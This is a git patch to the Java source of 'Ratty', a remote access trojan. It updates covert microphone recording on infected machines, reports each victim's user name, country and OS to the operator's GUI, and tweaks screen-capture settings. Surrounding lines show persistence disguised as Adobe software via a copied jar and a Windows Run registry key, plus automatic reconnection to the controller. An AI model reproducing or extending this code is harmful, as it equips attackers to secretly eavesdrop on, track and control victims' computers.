From 62dbb90d93b68f084a27421ce3bb45730e3cfa47 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 26 Feb 2016 16:45:44 +0100 Subject: [PATCH] Small changes Bug fixes, cleanups GUI shows the location of the clients Enabled voice stream --- Ratty/res/language/lang.properties | 1 + Ratty/res/language/lang_de.properties | 1 + Ratty/res/language/lang_en.properties | 1 + Ratty/src/de/sogomn/rat/GUISettings.java | 10 ++--- Ratty/src/de/sogomn/rat/Ratty.java | 13 +++---- Ratty/src/de/sogomn/rat/Trojan.java | 39 +++++++++---------- .../sogomn/rat/packet/InformationPacket.java | 14 +++++-- .../rat/server/gui/RattyGuiController.java | 20 ++-------- .../sogomn/rat/server/gui/ServerClient.java | 9 ++++- .../server/gui/ServerClientTableModel.java | 2 + .../src/de/sogomn/rat/util/FrameEncoder.java | 6 +-- .../src/de/sogomn/rat/util/VoiceRecorder.java | 30 +++++++++++--- 12 files changed, 84 insertions(+), 62 deletions(-) diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index cffead4..c019501 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -33,6 +33,7 @@ action.delete=Delete file action.new_directory=Create new directory column.name=Name +column.location=Location column.address=IP Address column.os=OS column.version=Version diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index 701a847..b3f952e 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -33,6 +33,7 @@ action.delete=Datei l action.new_directory=Neuen Ordner erstellen column.name=Name +column.location=Ort column.address=IP-Adresse column.os=OS column.version=Version diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index cffead4..c019501 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -33,6 +33,7 @@ action.delete=Delete file action.new_directory=Create new directory column.name=Name +column.location=Location column.address=IP Address column.os=OS column.version=Version diff --git a/Ratty/src/de/sogomn/rat/GUISettings.java b/Ratty/src/de/sogomn/rat/GUISettings.java index 5cc909c..e41c9f2 100644 --- a/Ratty/src/de/sogomn/rat/GUISettings.java +++ b/Ratty/src/de/sogomn/rat/GUISettings.java @@ -21,11 +21,11 @@ import de.sogomn.engine.util.ImageUtils; final class GUISettings { private static final Color BACKGROUND = new Color(250, 250, 255); - private static final Color BASE = new Color(245, 205, 175); - private static final Color BRIGHTER = new Color(255, 220, 190); - private static final Color DARKER = new Color(225, 185, 155); - private static final Color ALTERNATIVE = new Color(245, 235, 215); - private static final Color SELECTION = new Color(105, 120, 155); + private static final Color BASE = new Color(235, 205, 185); + private static final Color BRIGHTER = new Color(245, 220, 200); + private static final Color DARKER = new Color(215, 185, 165); + private static final Color ALTERNATIVE = new Color(245, 235, 225); + private static final Color SELECTION = new Color(120, 120, 135); private static final EmptyBorder TABLE_CELL_BORDER = new EmptyBorder(2, 5, 2, 5); diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 2492dab..12b4f0a 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -1,9 +1,7 @@ package de.sogomn.rat; import java.io.File; -import java.io.IOException; import java.net.URI; -import java.net.URISyntaxException; import java.util.ResourceBundle; import javax.swing.JDialog; @@ -27,7 +25,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.8"; + public static final String VERSION = "1.9"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; @@ -35,6 +33,7 @@ public final class Ratty { private static boolean client; private static final int CONNECTION_INTERVAL = 2500; + private static final int MAX_PORT = 65535; private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar"; private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; @@ -85,7 +84,7 @@ public final class Ratty { FileUtils.createFile(STARTUP_FILE_PATH); FileUtils.copyFile(source, destination); Runtime.getRuntime().exec(STARTUP_REGISTRY_COMMAND); - } catch (final URISyntaxException | IOException ex) { + } catch (final Exception ex) { ex.printStackTrace(); } } @@ -94,12 +93,12 @@ public final class Ratty { try { final int port = Integer.parseInt(input); - if (port < 0 || port > 65535) { //65535 = Max port + if (port < 0 || port > MAX_PORT) { return -1; } return port; - } catch (final NumberFormatException | NullPointerException ex) { + } catch (final Exception ex) { return -1; } } @@ -111,7 +110,7 @@ public final class Ratty { if (!newClient.isOpen()) { try { Thread.sleep(CONNECTION_INTERVAL); - } catch (final InterruptedException ex) { + } catch (final Exception ex) { //... } finally { System.gc(); diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index b35422c..2aa1e73 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -6,43 +6,42 @@ import de.sogomn.rat.util.VoiceRecorder; public final class Trojan implements IConnectionObserver { - private VoiceRecorder voiceRecorder; - private static final int VOICE_BUFFER_SIZE = 1024 << 6; public Trojan() { - voiceRecorder = new VoiceRecorder(VOICE_BUFFER_SIZE); - - voiceRecorder.start(); + //... } - private void handleVoicePacket(final VoicePacket packet) { - final byte[] data = voiceRecorder.getLastRecord(); + private void handleVoiceRequest(final ActiveConnection connection) { + final VoiceRecorder voiceRecorder = new VoiceRecorder(VOICE_BUFFER_SIZE); - packet.setData(data); + voiceRecorder.setObserver(recorder -> { + final byte[] data = recorder.getLastRecord(); + final VoicePacket packet = new VoicePacket(data); + + recorder.stop(); + connection.addPacket(packet); + }); + voiceRecorder.start(); } @Override - public void packetReceived(final ActiveConnection client, final IPacket packet) { + public void packetReceived(final ActiveConnection connection, final IPacket packet) { final Class clazz = packet.getClass(); if (clazz == VoicePacket.class) { - final VoicePacket voice = (VoicePacket)packet; - - handleVoicePacket(voice); + handleVoiceRequest(connection); + } else { + packet.execute(connection); } - - packet.execute(client); } @Override - public void disconnected(final ActiveConnection client) { - final String address = client.getAddress(); - final int port = client.getPort(); - - voiceRecorder.stop(); + public void disconnected(final ActiveConnection connection) { + final String address = connection.getAddress(); + final int port = connection.getPort(); - client.setObserver(null); + connection.setObserver(null); Ratty.connectToHost(address, port); } diff --git a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java index 5a03dc5..b7f845c 100644 --- a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java @@ -5,10 +5,11 @@ import de.sogomn.rat.Ratty; public final class InformationPacket extends AbstractPingPongPacket { - private String name, os, version; + private String name, location, os, version; - public InformationPacket(final String name, final String os, final String version) { + public InformationPacket(final String name, final String location, final String os, final String version) { this.name = name; + this.location = location; this.os = os; this.version = version; @@ -16,7 +17,7 @@ public final class InformationPacket extends AbstractPingPongPacket { } public InformationPacket() { - this("", "", ""); + this("", "", "", ""); type = REQUEST; } @@ -29,6 +30,7 @@ public final class InformationPacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveConnection connection) { connection.writeUTF(name); + connection.writeUTF(location); connection.writeUTF(os); connection.writeUTF(version); } @@ -41,6 +43,7 @@ public final class InformationPacket extends AbstractPingPongPacket { @Override protected void receiveData(final ActiveConnection connection) { name = connection.readUTF(); + location = connection.readUTF(); os = connection.readUTF(); version = connection.readUTF(); } @@ -49,6 +52,7 @@ public final class InformationPacket extends AbstractPingPongPacket { protected void executeRequest(final ActiveConnection connection) { type = DATA; name = System.getProperty("user.name"); + location = System.getProperty("user.country"); os = System.getProperty("os.name"); version = Ratty.VERSION; @@ -64,6 +68,10 @@ public final class InformationPacket extends AbstractPingPongPacket { return name; } + public String getLocation() { + return location; + } + public String getOs() { return os; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index d18c958..6cfe1b5 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -10,7 +10,6 @@ import java.util.Set; import javax.swing.JOptionPane; -import de.sogomn.engine.fx.ISoundListener; import de.sogomn.engine.fx.Sound; import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.builder.JarBuilder; @@ -352,21 +351,9 @@ public final class RattyGuiController extends AbstractRattyController implements } final Sound sound = packet.getSound(); - final ISoundListener listener = new ISoundListener() { - @Override - public void looped(final Sound source) { - //... - } - - @Override - public void stopped(final Sound source) { - final VoicePacket request = new VoicePacket(); - - client.connection.addPacket(request); - } - }; + final VoicePacket request = new VoicePacket(); - sound.addListener(listener); + client.connection.addPacket(request); sound.play(); } @@ -410,10 +397,11 @@ public final class RattyGuiController extends AbstractRattyController implements private void logIn(final ServerClient client, final InformationPacket packet) { final String name = packet.getName(); + final String location = packet.getLocation(); final String os = packet.getOs(); final String version = packet.getVersion(); - client.logIn(name, os, version); + client.logIn(name, location, os, version); client.addListener(this); gui.addRow(client); diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index 190e173..4da46c8 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -6,7 +6,7 @@ final class ServerClient { private boolean loggedIn; - private String name, os, version; + private String name, location, os, version; private boolean streamingDesktop, streamingVoice; public final ActiveConnection connection; @@ -20,8 +20,9 @@ final class ServerClient { fileTree = new FileTree(); } - public void logIn(final String name, final String os, final String version) { + public void logIn(final String name, final String location, final String os, final String version) { this.name = name; + this.location = location; this.os = os; this.version = version; @@ -55,6 +56,10 @@ final class ServerClient { return name; } + public String getLocation() { + return location; + } + public String getAddress() { return connection.getAddress(); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java index 6a856f9..628daf4 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java @@ -14,6 +14,7 @@ final class ServerClientTableModel extends AbstractTableModel { private ArrayList columns; private static final Column NAME = new Column(LANGUAGE.getString("column.name"), String.class, ServerClient::getName); + private static final Column LOCATION = new Column(LANGUAGE.getString("column.location"), String.class, ServerClient::getLocation); private static final Column IP_ADDRESS = new Column(LANGUAGE.getString("column.address"), String.class, ServerClient::getAddress); private static final Column OS = new Column(LANGUAGE.getString("column.os"), String.class, ServerClient::getOs); private static final Column VERSION = new Column(LANGUAGE.getString("column.version"), String.class, ServerClient::getVersion); @@ -25,6 +26,7 @@ final class ServerClientTableModel extends AbstractTableModel { columns = new ArrayList(); addColumn(NAME); + addColumn(LOCATION); addColumn(IP_ADDRESS); addColumn(OS); addColumn(VERSION); diff --git a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java index 03213e8..24ad42c 100644 --- a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java +++ b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java @@ -20,11 +20,11 @@ public final class FrameEncoder { private static final int SKIP = 5; - private static final int CELLS_WIDE = 6; - private static final int CELLS_HIGH = 6; + private static final int CELLS_WIDE = 5; + private static final int CELLS_HIGH = 5; private static final IFrame[] EMPTY_ARRAY = new IFrame[0]; private static final float CAPTURE_SCALING = 0.5f; - private static final int CURSOR_SIZE = 16; + private static final int CURSOR_SIZE = 10; private static final Stroke CURSOR_STROKE = new BasicStroke(3); private FrameEncoder() { diff --git a/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java index 97eb854..a4aee98 100644 --- a/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java +++ b/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java @@ -1,7 +1,8 @@ package de.sogomn.rat.util; +import java.util.function.Consumer; + import javax.sound.sampled.AudioSystem; -import javax.sound.sampled.LineUnavailableException; import javax.sound.sampled.TargetDataLine; public final class VoiceRecorder { @@ -12,6 +13,8 @@ public final class VoiceRecorder { private byte[] data; + private Consumer observer; + public VoiceRecorder(final int bufferSize) { data = new byte[bufferSize]; } @@ -24,6 +27,10 @@ public final class VoiceRecorder { final Runnable runnable = () -> { while (running) { line.read(data, 0, data.length); + + if (observer != null) { + observer.accept(this); + } } }; @@ -35,9 +42,12 @@ public final class VoiceRecorder { line.open(); line.start(); thread.start(); - } catch (final LineUnavailableException ex) { - running = false; + } catch (final Exception ex) { + stop(); + data = new byte[0]; + + ex.printStackTrace(); } } @@ -48,14 +58,22 @@ public final class VoiceRecorder { running = false; - thread.interrupt(); - line.stop(); - line.close(); + try { + thread.interrupt(); + line.stop(); + line.close(); + } catch (final Exception ex) { + ex.printStackTrace(); + } thread = null; line = null; } + public void setObserver(final Consumer observer) { + this.observer = observer; + } + public boolean isRunning() { return running; }